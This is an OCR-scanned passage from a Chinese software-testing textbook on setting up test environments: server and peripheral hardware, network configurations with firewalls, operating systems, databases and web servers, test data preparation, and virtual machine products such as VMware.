1U 到 数 UU, 一 般 分 为 1U 和 2U。1U 服务 器 比较 薄 (4. 445cm) , 耗 电 低 , 一 个 机 架 可 以 安装 更 
多 的 服务 器 。2U 服务 器 机 型 体型 是 1U 机 型 的 两 们 ,服务 器 内 部 具有 更 大 的 空间 ,功能 更 强 
大 ,使 用 寿命 更 长 。 

(2) 刀片 式 服务 器 (Blade Server) 是 一 种 HAHD(High Availability High Density, 高 可 用 
高 密度 ) 的 低 成 本 服务 器 平台 ,如 图 12-1 所 示 。 每 一 块 “刀片 ”就 是 一 块 系统 主板 ,并 通过 本 地 
硬盘 启动 操作 系统 ,类 似 于 一 个 个 独立 的 服务 器 。 一 个 42U 高 的 Blade Server 系统 ,可 以 容 
纳 140 个 服务 器 。 


图 12-1 刀片 式 服务 器 


测试 用 机 又 可 分 为 普通 PC、 网 络 PC ,苹果 (Mac) 机 、Sun 工作 站 ,移动 设备 等 。 也 可 以 用 
服务 器 来 作 测 试 机 ,特别 是 在 性 能 测试 时 ,一 台 服 务 器 模拟 的 虚拟 用 户 要 远 远 超过 一 般 的 PC， 
这 样 无 论 从 性 价 比 .占用 空间 等 来 看 ,都 宜 选 用 机 架 式 服务 器 或 刀片 式 服务 器 。 

测试 Audio Video 等 多 媒体 产品 除 需要 配备 摄像 头 ,麦克风 音箱 等 之 外 ,还 要 选择 不 同 
类 型 的 声卡 .显示 卡 等 。 显 示 卡 主要 厂商 有 Intel、.ATI、nVidia、VIA(S3)、SIS、Matrox、XGI、 
3D Labs。 其 中 ,Intel`VIA(S3) ,SIS 主要 生产 集成 芯片 ; ATICRadeon 系列 显示 卡 ) 和 nVidia 
(包括 TNT、Geforce 系列 显示 卡 ) 以 独立 芯片 为 主 , 目 前 是 市 场 上 的 主流 ; 而 Matrox 和 3D 
Labs 则 主要 面向 专业 图 形 市 场 。3Dfx 公司 以 生产 VooDoo( 巫 毒 ) 显 示 卡 闻名 , 现 被 nVidia 
公司 收购 。 

和 显示 卡 一 样 ,声卡 也 分 为 主板 集成 声卡 ( 板 载 声卡 ) 和 独立 声卡 ,还 有 一 种 外 置式 声卡 ， 
通过 USB 接口 与 计算 机 连接 。 板 载 声卡 还 可 以 进一步 分 为 软 声卡 和 硬 声卡 , 软 声卡 没有 主 处 
理 芯 片 ,只 有 一 个 解码 芯片 ,通过 CPU 的 运算 来 代替 声卡 主 处 理 芯 片 的 作用 。 而 板 载 硬 声卡 
带 有 主 处 理 芯 片 , 许 多 音效 计算 都 是 由 主 处 理 芯片 来 进行 ,而 不 需要 CPU 参与 。 另 外 ,声卡 、 
显示 卡 看 似 硬件 ,但 最 终 还 受 其 驱动 程序 的 控制 ,而且 在 选择 驱动 程序 时 ,还 要 考虑 操作 系统 、 
型 号 等 因素 ,如 图 12-2 所 示 。 

除了 主机 声卡 .显示 卡 等 硬件 之 外 ,测试 中 常用 的 硬件 设备 还 包括 以 下 几 种 。 

(1) 手机 : 智能 手机 iPhone、Blackbarry、GPhone 和 其 他 各 种 普通 手机 等 。 
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12-2 选择 声卡 驱动 程序 的 过 程 


(2) 网 络 设 备 : 种 类 非常 丰富 ,包括 交换 机 、 路 由 器 等 ,还 有 防火 墙 ` 负 载 均衡 器 相关 的 网 
络 设 备 , 如 Cisco ASA、F5 BIG-IP 和 Citrix NetScaler 等 。 

(3) 输入 设备 : 键盘 鼠标、 摄像 头 、 扫 描 仪 .电子 白板 等 。 电 子 白 板 应 用 越 来 越 多 ,而 它 
的 类 型 (如 复印 式 ,交互 式 等 ) 也 比较 多 ,值得 关注 。 

(4) 输出 设备 :〈 网 络 ) 打 印 机 、 显 示 器 等 。 

(5) 各 种 接口 : USB 接口 .并行 、 串 行 和 红外 线 接口 。 

硬件 设备 多 种 多 样 , 完 全 根据 产品 的 需求 进行 选择 。 但 选择 时 需要 考虑 其 配置 标准 。 通 
常 有 标准 配置 .最 佳 配置 和 最 低 配置 等 几 种 情况 。 例 如 ,一 台 服 务 器 的 主要 性 能 指标 由 CPU、 
主板 ,内存 、 硬 盘 决 定 。 设 计 要 求 应 用 服务 器 配置 : Intel 架构 的 2U 机 架 式 服务 器 ,2. 4GHz Xeon 
双 CPU .4GB 内 存 .320GB SCSI 硬盘 .1000M 自 适应 网 卡 等 , 则 此 配置 就 是 标准 配置 ,因为 完 
全 符合 设计 要 求 。 

(1) 如 果 建 议 使 用 性 能 更 高 配置 的 服务 器 ,其 配置 超过 标准 配置 , 即 可 能 会 定义 最 佳 配 
置 , 即 系统 在 这 样 配置 下 运行 更 流畅 。 对 于 这 种 配置 ,需要 验证 与 标准 配置 的 兼容 性 ,但 相关 
的 性 能 测试 .容量 测试 等 还 是 应 该 在 标准 配置 的 服务 器 上 运行 。 

(2) 最 低 配置 指 的 是 能 够 满足 系统 运行 所 需 的 最 低 硬件 配置 ,在 某 些 情况 下 用 低 配置 设 
备 搭建 部 分 测试 环境 是 明智 的 ,如 预算 经 费 不足 时 ,或 已 经 拥有 部 分 低 配 置 设备 时 。 有 些 配置 
测试 的 任务 本 身 就 是 要 求 保证 软件 系统 能 够 在 最 低 配置 的 设备 上 正常 运行 ,而 且 在 低 配 置 设 
备 情况 下 可 能 发 现 更 多 的 缺陷 。 

通常 一 个 较 完 善 的 测试 环境 均 包 括 标准 配置 .最 佳 配置 和 最 低 配 置 的 设备 ,只 是 根据 项 目 
的 需求 和 条 件 的 限制 所 占 的 比例 不 同 。 如 压力 测试 ,性 能 测试 ,容量 测试 应 该 在 标准 配置 及 最 
佳 配置 的 设备 上 运行 。 而 功能 性 测试 .用户 界 面 测试 等 完全 可 以 在 低 配置 的 机 器 上 运行 。 


12.2.2 网 络 环境 


随 着 网 络 的 普及 , 越 来 越 多 的 软件 产品 离 不 开 网 络 环境 ,网 络 环境 是 由 相关 的 网 络 设备 、 
网 络 系统 软件 及 其 配置 构成 的 综合 环境 ,包括 : 

(1) 路 由 器 、 交 换 机 、 网 线 、 网 卡 等 硬件 设备 。 

(2) 各 种 网 络 协议 ,代理 、 网 关 、 防 火 墙 .负载 均衡 器 等 配置 。 

(3) 网 络 工具 的 安装 和 配置 ,如 网 络 限 速 器 NetLimiter 2 Pro、 Skiller、 带 宽 调度 器 
AppBand 等 。 

在 网 络 环境 设置 中 ,构造 不 同 的 多 个 子 网 段 ,不 仅 使 服务 器 和 客户 端 (或 测试 机 ) 不 在 一 个 
子 网 段 中 ,而 且 客 户 端 (或 测试 机 ) 也 最 好 分 布 在 不 同 的 几 个 子 网 段 中 。 这 样 有 利于 设置 防火 
墙 . 代 理 服务 器 或 网 关 等 ,使 测试 环境 更 能 接近 真实 的 网 络 环境 。 


在 目前 的 网 络 部 署 中 ,防火 墙 和 代理 服务 器 应 用 广泛 ,已 是 标准 配备 ,我们 需要 掌握 这 方 
面 的 知识 。 防 火 墙 一 般 分 为 以 下 两 类 。 

(1) 状态 检测 型 ,如 最 具 代 表 性 的 硬件 防火 墙 Cisco PIX、Check Point Firewall-1/ NetScreen-100。 

(2) 基于 代理 技术 的 软件 防火 墙 ,如 Raptor、CyberGuard、Secure Computing 的 产品 、 微 
软 公司 的 ISA Server 2004/2006/2008。 

如 图 12-3 所 示 为 以 ISA Server 2004 构建 的 网 络 测试 环境 。 
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图 12-3 基于 防火 墙 的 网 络 环境 示例 


12.2.3 软件 


软件 环境 包括 操作 系统 、 网 络 协 议和 应 用 程序 。 测 试 工具 软件 也 是 软件 环境 派生 出 来 的 
一 部 分 。 建 立 软件 测试 环境 的 原则 是 选择 具有 广泛 代表 性 的 重要 操作 系统 和 大 量 应 用 程序 。 
在 兼容 性 测试 中 ,软件 环境 尤其 重要 。 

1. 常见 的 操作 系统 

(1) Windows 系列 : Windows 2000、Windows XP、Windows Vista 和 Windows 7 等 。 

(2) Mac 系列 : Mac OS 9, Mac OS X(Mac OS 10. 4/10. 5/ 10.6 Snow Leopard 等 ) 。 

(3) Linux 系列 : Ubuntu、Red Hat Linux、SuSE Linux、OpenLinux、Debian 和 Slackware 等 。 

(4) UNIX 系列 : Sun Solaris 10、.HP-UX、IBM AIX、FreeBSD 等 。 

(5) 租 入 式 操 作 系 统 : Android、Palm OS、Symbian OS、Windows CE/Mobile、VxWorks、 
pSOS,PowerTV .uCos.uclinux、LynxOS、.QNX .CMX DeltaOS 等 。 

而 且 , 某 个 操作 系统 (如 Windows 7) 还 能 进一步 分 为 32 位 和 64 位 两 个 版 本 , Mac OS 
X/Solaris/Linux 操作 系统 不 仅 分 为 32 位 、64 位 两 个 版 本 ,还 针对 不 同 的 主机 硬件 架构 (x86、 
PowerPC、Sparc、Adm64 和 Arm 等 ) 有 不 同 的 版 本 。 

2. 常见 的 数据 库 管 理 系 统 

(1) 甲骨 文公 司 Oracle 9i、Oracle 10g 和 Oracle 11g 等 。 

(2) 微软 公司 SQL Server 2005/2008/2010 等 。 

(3) 开源 数据 库 系 统 : MySQL、PostgreSQL ,Firebird、Berkeley DB 等 。 

(4) 其 他 : IBM DB2、SyBase Informix-SE .Informix-Online 等 。 


3. 常见 的 Web 服务 器 

(1) Apache 源 于 NCSAhttpd 的 HTTP 服务 器 ,经 过 多 次 修改 ,成 为 跨 平台 的 .最 流行 的 
Web 服务 器 软件 ,但 不 支持 JSP。 

(2) Tomcat 是 一 个 开放 源 代码 .运行 Servlet 和 JSP Web 应 用 软件 的 、 基 于 Java 的 Web 
应 用 软件 容器 。 

(3) Oracle BEA WebLogic Server 是 一 种 多 功能 、 基 于 标准 的 Web 应 用 服务 器 ,遵从 
J2EE 面向 服务 的 架构 ,以 及 丰富 的 工具 集 支持 ,便于 实现 业务 逻辑 .数据 和 表达 的 分 离 ,提供 
开发 和 部 署 各 种 业务 驱动 应 用 所 必需 的 底层 核心 功能 。 

(4) Oracle iAS 是 基于 Java 的 应 用 服务 器 ,支持 各 种 业界 标准 (包括 JavaBeans、CORBA、 
Servlets 以 及 XML 标准 等 ), 是 一 个 集成 的 ` 通 用 的 中 间 件 产品 ,包括 将 Apache 集成 到 系 
统 中 。 

(5) WebSphere Application Server 是 一 种 功能 完善 .开放 的 Web 应 用 程序 服务 器 , 它 是 
基于 Java 的 应 用 环境 ,支持 HTTP 和 1IOP 通信 的 可 伸缩 运行 时 环境 ,用 于 建立 ,部署 和 管理 
Internet 和 Intranet Web 应 用 程序 。 

(6) Microsoft IIS 是 允许 在 公共 Intranet 或 Internet 上 发 布 信息 的 Web 服务 器 ,其 中 包 
括 Web 服务 器 .FTP 服务 器 ,NNTP 服务 器 和 SMTP 服务 器 ,分别 用 于 网 页 浏览 文件 传输 、 
新 闻 服 务 和 邮件 发 送 等 方面 的 服务 。 

(7) IPlanet Application Server 满足 最 新 J2EE 规范 的 要 求 , 是 一 种 完整 的 Web 服务 器 应 
用 解决 方案 ,包括 事务 监控 器 、 多 负载 平衡 选项 .对 集群 和 故障 转移 全 面 的 支持 .集成 的 XML 
解析 器 和 可 扩展 格式 语言 转换 (eXtensible Stylesheet Language Transformations, XLST) 引 
擎 以 及 对 国际 化 的 全 面 支持 。 

4. 常见 的 配置 

(1) Intranet/Internet 传输 速度 : ADSL、WiFi、Tl 或 LAN。 

(2) 各 种 浏览 器 : MS IE、Firefox、Google Chrome、Opera、Safari 等 。 

(3) 在 IE 浏览 器 中 禁用 ActiveX。 

(4) Java 虚拟 机 (JVMD 不 同 版 本 。 

(5) 经 过 或 不 经 过 代理 服务 器 的 SSL 十 HTTP 连接。 

(6) Windows 7、Windows 8 中 的 非 管 理 员 用 户 。 


12.2.4 数据 准备 


许多 测试 用 例 取 决 于 测试 数据 ,特别 是 围绕 数据 库 系统 文件 管理 系统 等 构建 的 应 用 系 
统 ,测试 的 数据 不 仅 对 系统 整体 性 能 测试 非常 重要 ,对 一 些 功能 测试 也 是 非常 重要 的 ,异常 数 
据 或 大 范围 的 数据 都 有 助 于 提高 测试 的 覆盖 率 。 测 试 数据 应 尽 可 能 地 取得 大 量 真实 数据 ,无 
法 取得 真实 数据 时 应 尽 可 能 模拟 出 大 量 随机 的 数据 。 数 据 准 备 包 括 数 据 量 和 真实 性 两 个 
方面 。 

(1) 现实 中 越 来 越 多 的 软件 产品 需要 处 理 大 量 的 信息 ,不 可 避免 地 使 用 到 数据 库 系统 。 
在 少量 数据 情况 下 ,软件 产品 表现 出 色 , 一 旦 交付 使 用 ,数据 急速 增长 ,往往 一 个 简单 的 数据 查 
询 操 作 就 可 能 耗费 掉 大 量 宝贵 的 系统 资源 ,使 产品 性 能 急剧 下 降 , 失 去 可 用 性 。 

(2) 数据 的 真实 性 通常 表现 为 正确 数据 和 错误 数据 ,在 容错 测试 中 对 错误 数据 的 处 理 和 


系统 恢复 是 测试 的 关键 。 对 于 更 为 复杂 的 嵌入 式 实时 软件 系统 ,例如 惯性 导航 系统 仅 有 惯性 
平台 还 不 够 ,为 了 产生 测试 数据 ,还 必须 使 惯性 平台 按 所 要 求 的 运动 规律 进行 移动 。 也 可 以 
软件 来 仿真 外 部 设备 ,模拟 真实 的 外 围 设备 。 


12.3 虚拟 机 的 应 用 


在 12.2.3 节 中 ,已 列 出 不 同 的 操作 系统 及 其 众多 的 版 本 ,这 些 测 试 环境 都 是 软件 产品 测 
试 中 经 常 要 考虑 的 ,而 且 许多 Web 应 用 平台 的 测试 ,还 需要 针对 操作 系统 和 浏览 器 构成 的 组 
合 平台 进行 兼容 性 测试 ,其 结果 要 构建 大 量 不 同 的 测试 环境 。 如 果 每 种 环境 都 用 一 台 物理 机 
器 来 安装 ,那么 不 仅 需要 购买 很 多 机 器 ,投入 很 大 ,而 且 还 会 占用 很 大 的 实验 室 空 间 , 每 天 的 
电量 也 是 可 观 的 。 这 时 ,最 好 的 解决 办 法 就 是 虚拟 机 方法 。 

虚拟 化 技术 可 以 提供 负载 隔离 ,为 所 有 系统 运算 和 1/O 设计 的 微型 资源 控制 ,使 我 们 在 
单 台 物 理 机 器 上 安装 多 个 系统 ,允许 用 户 同时 运行 多 个 操作 系统 、 多 个 操作 系统 版 本 或 实例 ， 
而 不 是 只 有 每 次 运行 一 个 操作 系统 的 多 重启 动 环境 。 虚 拟 化 技术 整合 空闲 的 系统 资源 ,充分 
利用 硬件 资源 ,节约 能 源 和 空间 ,并 能 提升 系统 的 运作 效率 ,有 利于 测试 环境 的 建立 和 维护 。 

(1) 根据 VMware 官方 的 统计 ,在 目前 的 客户 环境 中 至 少 有 70% 的 服务 器 利用 率 只 有 
20% 一 30% ,而 通过 VMware 可 以 将 服务 器 的 利用 率 提 高 到 85%~~95%。 

(2) 如 果 内 存 加 大 到 16GB 或 更 高 ,一 台 机 器 可 以 虚拟 4 一 8 台 服 务 器 ,而 原来 十 几 台 服 
务 器 的 要 求 ,现在 只 需要 买 3 台 甚 至 更 少 的 服务 器 就 可 以 了 。 

(3) 一 台 机 器 虽然 只 能 虚拟 4 一 8 台 服 务 器 ,但 可 以 事先 建立 十 几 套 虚拟 机 镜像 文件 ,把 
这 些 镜像 作为 虚拟 机 来 保存 。 测 试 时 ,只 要 花 几 分 钟 就 可 以 装载 所 需 的 镜像 文件 ,更 换 为 新 的 
测试 环境 ,而 不 必 为 重建 系统 等 上 数 小 时 。 这 在 自动 化 测试 时 特别 有 用 ,每 一 个 测试 套件 执行 
完 以 后 ,都 需要 恢复 最 初 的 测试 环境 ,就 要 靠 虚拟 机 镜像 来 创建 回 深 机 制 (Rollback) ,在 几 分 
钟 之 内 就 能 把 系统 恢复 到 之 前 的 初始 状态 。 

(4) 通过 零 宕 机 以 改善 服务 等 级 ,即使 在 灾难 状态 下 ,也 可 减少 恢复 时 间 。 

(5) 标准 化 环境 和 改进 安全 ,包括 高 级 备份 策略 ,在 更 少 宛 余 的 情况 下 ,确保 高 可 用 性 。 

(6) 在 服务 器 管理 方面 的 重大 改进 ,容易 实现 添加 、 移 动 ,变更 和 重 置 服务 器 的 操作 。 

(7) 通过 部 署 在 刀片 式 ( 机 架 式 ) 服 务 器 上 的 虚拟 中 心 来 管理 虚拟 和 实体 主机 ,建立 一 个 
逻辑 的 资源 池 ,连续 地 整合 系统 负载 ,进而 优化 硬件 使 用 率 和 降低 成 本 。 

(8) 从 数据 中 心 空间 、` 机 柜 、 网 线 、 耗 电量 、 空 调 等 方面 大 大 节省 维护 费用 。 


12.3.1 虚拟 机 软件 


在 真实 计算 机 系统 中 ,操作 系统 组 成 中 的 设备 驱动 控制 硬件 资源 ,负责 将 系统 指令 转化 成 
特定 设备 控制 语言 。 在 假设 设备 所 有 权 独 立 的 情况 下 形成 驱动 ,这 就 使 得 单个 计算 机 上 不 能 
并 发 运行 多 个 操作 系统 。 虚 拟 机 则 包含 克服 该 局 限 性 的 技术 ,引入 了 底层 设备 资源 重 定向 交 
互 作用 ,每 个 虚拟 机 由 一 组 虚拟 化 设备 构成 ,其 中 每 个 虚拟 机 都 有 对 应 的 虚拟 硬件 ,而 不 会 影 
响 高 层 应 用 层 。 通 过 虚拟 机 ,客户 可 以 在 单个 计算 机 上 并 发 运行 多 个 操作 系统 。 常 见 的 虚拟 
机 软件 如 下 。 

(1) VMware 的 产品 ,包括 VMware GSX/ESX Server 与 VMware Workstation 。 

(2) 微软 公司 的 Virtual Server 和 Virtual PC (for Windows/Mac/OS2) 。 


(3) Sun xVM VirtualBox 完全 免费 和 开源 ,可 运行 在 32 位 和 64 位 平台 上 ,并 支持 
Windows、Linux 和 Mac OS X 主机 。 

(4) Parallels Workstation ,在 Mac OS X 环境 下 可 直接 运行 Windows 系统 ,还 支持 
Linux、FreeBSD、OS/2、Solaris 等 操作 系统 。Parallels Workstation 是 世界 上 第 一 个 集成 轻型 
Hypervisor 的 桌面 虚拟 化 解决 方案 。Hypervisor 技术 是 基于 大 型 计算 机 技术 建立 的 ,通过 使 
用 一 个 插入 硬件 和 操作 系统 间 的 抽象 层 , 直 接 控制 主机 的 部 分 硬件 资源 ,大 大 提高 了 虚拟 机 的 
稳定 性 、 安 全 性 和 性 能 。 

(5) 开源 软件 QEMU 在 bochs 的 基础 上 开发 而 成 ,但 性 能 有 很 大 提高 ,和 Virtual PC 相 
当 , 支 持 Linux、Windows、Mac OS 和 不 同 的 硬件 系统 架构 。 

(6) twoOStwo 和 svista, 后 起 之 秀 , 类 似 于 VMware Workstation 。 

(7) SW-soft 公司 的 Virtuozzo, 不 虚拟 硬件 ,而 是 借助 虚拟 化 技术 把 guest 作为 host 的 副 
本 运行 。 这 要 求 对 guest 的 操作 系统 做 特别 的 修改 ,不 支持 和 host 不 同 的 操作 系统 , 即 每 一 
个 虚拟 机 都 是 运行 在 同一 个 操作 系统 上 的 实例 。 

(8) 开源 软件 Xen, 是 由 剑桥 大 学 计算 机 实验 室 开发 的 一 个 开源 项 目 , 与 Virtuozzo 类 似 ， 
也 是 采用 虚拟 化 技术 ,但 只 支持 Linux 系统 。 

(9) Cygwin、GnuWin32、WinLinux 都 可 以 看 作 是 UNIX/Linux 的 Windows 内 骨 版 本 ， 

(10) 开源 软件 Colinux, 提 供 Windows 下 的 Linux 系统 的 模拟 。 


12.3.2 VMware 的 虚拟 机 解决 方案 


(1) VMware-ESX-Server 不 需要 操作 系统 的 支持 (其 核心 是 Red Hat Linux 的 超级 减 缩 
版 ,基本 不 占用 硬件 资源 ,大 约 只 有 5% 的 消耗 ), 它 本 身 
就 是 一 个 操作 系统 ,用 来 管理 硬件 资源 ,并 在 上 面 直接 安 
装 各 种 操作 系统 ,如 图 12-4 所 示 , 并 带 有 远程 Web 管理 
和 客户 端 管理 功能 。 

(2) VMware GSX Server 需要 安装 在 某 个 操作 系统 
(Windows 2003 Server、Linux 等 ) 之 上 ,这 个 操作 系统 叫 
作 HOST OS( 主 操作 系统 ), 也 有 远程 Web 管理 和 客户 
端 管理 功能 。 

(3) VMware Workstation 也 需要 安装 在 某 个 操作 系 
统 之 上 ,但 没有 Web 远程 管理 和 客户 端 管 理 。 

VMware GSX Server 与 VMWare ESX Server 适用 
于 服务 器 ,VMware Workstation 与 VMware GSX Server 
需要 操作 系统 的 支持 ,而 VMWare ESX Server 可 在 一 台 裸 机 上 安装 ,不 需要 操作 系统 的 支 
持 , 即 在 主机 没有 操作 系统 的 情况 下 也 可 以 安装 。 简 单 地 说 ,ESX 为 企业 级 ,GSX 为 工作 组 
级 ,而 Workstation 则 是 为 单机 服务 的 。VMware ESX Server 进一步 分 为 基础 版 (Foundation)、 标 
准 版 (Standard) 和 企业 版 (Enterprise) 。 

(1) Foundation 版 本 ,包含 虚拟 多 个 服务 器 的 功能 ,支持 VMFS 文件 系统 .VMware ESX 
Server 3i(VES 3i) .VMware Consolidated Backup(VCB) 、 VMware Update Manager(VUM) 
等 功能 。 

(2) Standard 版 本 ,除了 支持 基础 版 的 功能 之 外 ,还 支持 VMware HA(High Availability, 高 


图 12-4 ”ESX Server 工作 原理 示意 图 


可 用 人 性) 功能 。 

(3) Enterprise 版 本 ,除了 包含 支持 标准 版 功能 之 外 ,还 加 入 了 VMware Vmotion、VMware 
Storage Vmotion 分布 式 资源 调度 (Distributed Resource Scheduler, DRS) 等 功能 ,其 中 
Vmotion 可 以 通过 将 虚拟 机 从 低 性 能 和 停机 的 服务 器 上 转移 出 去 而 提高 硬件 的 利用 率 ,而 
DRS 基于 预先 设 定 的 规则 ,可 以 将 资源 (CPU、 内 存 和 存储 器 ) 分 配 到 高 优先 级 的 虚拟 机 器 上 。 

ESX Server 工作 原理 示意 图 如 图 12-4 所 示 。 

VMWare 还 提供 了 比较 多 的 组 件 (工具 ), 例 如 : 

(1) VMWare Server Console: 该 组 件 提供 对 虚拟 机 的 最 简单 的 管理 功能 ,如 虚拟 机 镜像 
的 生成 与 操作 系统 的 安装 。 

(2) VMware VirtualCenter for VMware Server: 该 组 件 提供 对 虚拟 机 的 综合 管理 功能 ， 
如 对 虚拟 机 宿主 的 性 能 监视 ,统计 与 警报 ,对 虚拟 机 的 克隆 、 模 板 的 生成 以 及 通过 模板 生成 虚 
拟 机 的 功能 。 

(3) VMware Open Source Components: 该 组 件 提供 对 Linux 虚拟 机 的 克隆 与 模板 生成 
功能 。 

(4) Microsoft Sysprep Tools: 该 组 件 提供 对 Windows 虚拟 机 的 克隆 与 模板 生成 功能 。 

(5) SCSI Disk Drivers: 该 组 件 用 于 操作 系统 为 Windows 的 虚拟 机 ,可 以 提高 虚拟 SCSI 
硬盘 的 性 能 。 


12.3.3 辅助 工具 


Akorri 公司 的 BalancePoint 工具 可 以 增强 VMware 管理 的 能 力 ,侧重 于 虚拟 机 和 集群 的 
性 能 优化 ,还 增加 了 对 博客 和 思科 SAN 交换 机 的 支持 。DRS 和 Vmotion 可 以 显示 虚拟 服务 
器 的 性 能 ,从 而 决定 是 否 需 要 进行 负载 平衡 调度 ,但 是 这 两 个 工具 无 法 分 析 和 显示 VMware 
以 外 的 应 用 软件 资源 冲突 。 由 于 BalancePoint 没有 与 操作 系统 绑 定 ,因此 可 显示 VMware 的 
性 能 是 否 受 到 了 处 于 同一 存储 区 域 网 络 其 他 应 用 软件 的 影响 。BalancePoint 工具 包括 较 多 
组 件 : 

(1) VM Performance Index 提供 虚拟 机 层 的 分 析 。 

(2) Virtual Host Resource Contention 工具 能 够 从 虚拟 机 的 角度 检查 主机 CPU 和 内 存 
的 利用 率 ,使 用 户 能 够 重新 分 配 CPU 和 /或 内 存 , 平 衡 VM 的 工作 量 。 

(3) Virtual Resource EntITlement Analysis 模块 辨认 确定 配置 和 容量 问题 ,以 协助 改善 
虚拟 机 资源 分 配 设置 。 

(4) VM CPU Efficiency 工具 能 使 管理 员 解 决 VM 的 CPU 的 问题 ,并 从 实际 VM 的 使 
中 比较 客户 操作 系统 的 角度 。 

Vizioncore 公司 提供 更 全 面 的 产品 以 支持 虚拟 机 的 管理 ,包括 vControl、 vConverter、 
vFoglight .vOptimizer \vRanger、vCharter .vReplicator ,vEssentials solution bundles 等 。 

(1) vControl: 提供 基于 浏览 器 的 界面 ,控制 多 种 虚拟 平台 (多 Hypervisor 的 虚拟 机 管 
理 ) ,包括 VMware, Hyper-V ,Xen 和 Solaris, 并 可 利用 自 定制 的 虚拟 机 模板 、 工 作 流 快速 地 创 
建 和 部 署 虚拟 机 。 

(2) vConverter 能 够 在 一 个 转换 窗口 对 多 个 服务 器 进行 自动 迁移 ,借助 磁盘 和 网 络 1/O 
算法 确保 了 可 能 的 最 快 的 转换 ,显著 降低 了 迁移 风险 .成 本 和 时 间 。 

(3) vFoglight 提供 性 能 监控 、 容 量规 划 和 计 费 功能 ,减少 资源 共享 的 风险 ,优化 资源 的 利 


用 ,并 能 利用 报警 和 专家 建议 等 功能 去 检测 ,诊断 和 解决 影响 可 用 性 和 性 能 的 问题 。 

(4) vOptimizer 数据 中 心 内 部 的 虚拟 机 优化 ,包括 为 VMware 的 vCenter 服务 器 /ESX 主 
机 和 每 台 虚拟 机 扫描 未 使 用 的 空间 ,锁定 过 量 分 配 的 存储 ,根据 虚拟 机 的 需求 进行 增 减 调整 ， 
完全 自动 化 的 虚拟 存储 容量 调整 /回收 流程 。 

(5) vRanger Pro 允许 用 户 对 虚拟 硬盘 执行 裸 盘 级 还 原 任务 ,在 将 备份 文件 发 送 到 WAN 
上 的 目的 服务 器 之 前 还 将 对 文件 进行 压缩 ,并 能 同 Virtual Center 进行 对 话 , 设 立 一 个 备份 文 
件 夹 , 将 虚拟 机 分 组 ,定期 执行 备份 。 

(6) vReplicator 是 虚拟 环境 下 的 备份 .恢复 和 备份 管理 解决 方案 ,可 以 在 guest 外 部 的 服 
务 控制 台 上 执行 复制 任务 ,能 够 复制 整个 虚拟 机 ,也 可 以 仅 复制 选 定 的 单个 虚拟 机 。 复 制 全 部 
虚拟 机 包括 复制 配置 设置 .操作 系统 补丁 、 应 用 程序 数据 及 其 他 操作 系统 层 的 变动 ,在 数据 复 
制 之 外 无 须 保持 同步 。 


12.4 如 何 建立 项 目的 测试 环境 


针对 某 个 具体 项 目 ,测试 环境 的 要 求 会 更 明确 ,无 论 是 对 服务 器 ,支撑 平台 软件 还 是 对 网 
络 配置 应 用 软件 等 都 需要 进行 具体 的 规划 和 定义 ,完成 相应 的 配置 ,以 满足 具体 项 目的 测试 
工作 要 求 。 为 了 建立 正确 的 测试 环境 ,要 基于 下 列 文档 和 其 他 要 求 来 完成 测试 环境 的 配置 。 

(1) 软件 构架 文档 ,了 解 软件 系统 架构 设计 的 细节 ,包括 服务 器 之 间 、 数 据 通道 等 之 间 的 

(2) 部 署 模型 ,如 本 地 部 署 .远程 部 署 .网络 共 享 部 署 、 热 部 署 等 。 例 如 ,在 Axis2 中 ,可 采 
用 不 同方 式 部 署 服务 ,如 存储 库 方式 、 编 程 方式 和 传统 Java 对 象 部 署 方 式 等 。 

(3) 测试 自动 化 架构 ,如 何 有 效 地 支持 自动 化 测试 的 实施 。 

(4) 测试 数据 的 要 求 ,包括 数 据 量 .负载 模式 等 。 

(5) 测试 策略 和 测试 方法 ,会 影响 测试 环境 的 设计 。 

1. 规划 测试 环境 

根据 软件 系统 的 架构 ,获取 并 审查 部 署 模型 和 相关 信息 ,从 而 确定 测试 环境 部 署 的 要 求 和 
特点 ,然后 结合 所 采用 的 测试 方法 和 技术 ,规划 测试 环境 ,包括 测试 环境 的 拓扑 图 。 

根据 已 规划 的 测试 环境 ,收集 每 个 配置 的 详细 信息 ,尝试 寻找 可 能 的 环境 ,包括 最 低 环境 
要 求 .最 高 环境 要 求 ,并 考虑 现 有 的 软 硬 件 资源 ,测试 周期 和 测试 任务 等 。 例 如 ,哪些 设备 是 可 
以 共享 的 .哪些 设备 是 不 能 共享 的 , 列 出 和 优化 设备 清单 ,并 通过 相关 部 门 的 审查 批准 等 。 

2. 测试 实验 室 配置 清单 

运用 13. 2 节 的 软 硬 件 知识 有 助 于 给 出 合理 的 配置 清单 ,测试 环境 的 各 要 素 , 也 就 是 实验 
室 配置 清单 的 主要 内 容 。 一 个 完整 的 实验 室 配置 清单 不 仅 包括 测试 中 所 需 的 软 硬 件 . 工 具 、 数 
据 等 ,而 且 还 包括 实验 室 所 需 的 其 他 设备 ,如 空调 ,去 湿 机 、 温 度 /湿度 计 等 。 在 整理 配置 清单 
时 ,主要 考虑 下 列 因 素 。 

(1) 产品 的 使 用 环境 决定 了 测试 环境 ,要 尽 可 能 地 模拟 真实 的 用 户 使 用 环境 。 

(2) 一 方面 要 保证 测试 环境 的 完整 性 和 正确 性 , 另 一 方面 ,可 以 考虑 采用 虚拟 机 等 技术 来 
减少 硬件 的 需求 。 

(3) 针对 不 同 的 测试 类 型 ,例如 ,功能 测试 和 性 能 测试 对 测试 环境 的 要 求 是 不 一 样 的 ,性 


能 测试 对 设备 有 更 高 的 要 求 , 包 括 设备 型 号 ,参数 都 是 一 样 的。 
(4) 可 能 还 要 考虑 产品 运行 的 实际 环境 需求 .用户 使 用 产品 的 一 些 特点 和 有 利于 测试 的 
效率 ,确保 配置 一 个 完整 的 清单 。 


一 个 标准 的 清单 模板 示例 

(1) 软件 : 被 测 应 用 服务 器 .客户 端 和 测试 机 等 所 需 的 操作 系统 .数据库 管理 系统 、 中 
间 件 、Web 服务 器 以 及 其 他 应 用 软件 的 名 称 、 版 本 (包括 相关 的 补丁 版 本 ) 。 

〇 @ 操作 系统 : 需要 所 有 具有 广泛 代表 性 的 重要 操作 系统 。 

@ 应 用 程序 : 测试 人 员 在 测试 平台 上 使 用 大 量 的 应 用 软件 来 做 兼容 性 测试 。 

@ 测试 工具 和 实用 工具 : 系统 监控 工具 和 自动 化 测试 工具 等 ,如 Selenium、JMeter、 
IBM Function Tester 等 。 

@ 第 三 方 软件 : 软件 开发 过 程 中 ,有 时 会 直接 购买 使 用 第 三 方 的 软件 产品 或 使 用 许 
可 ,如 Oracle 10g、IBM Bea WebLogic 等 。 

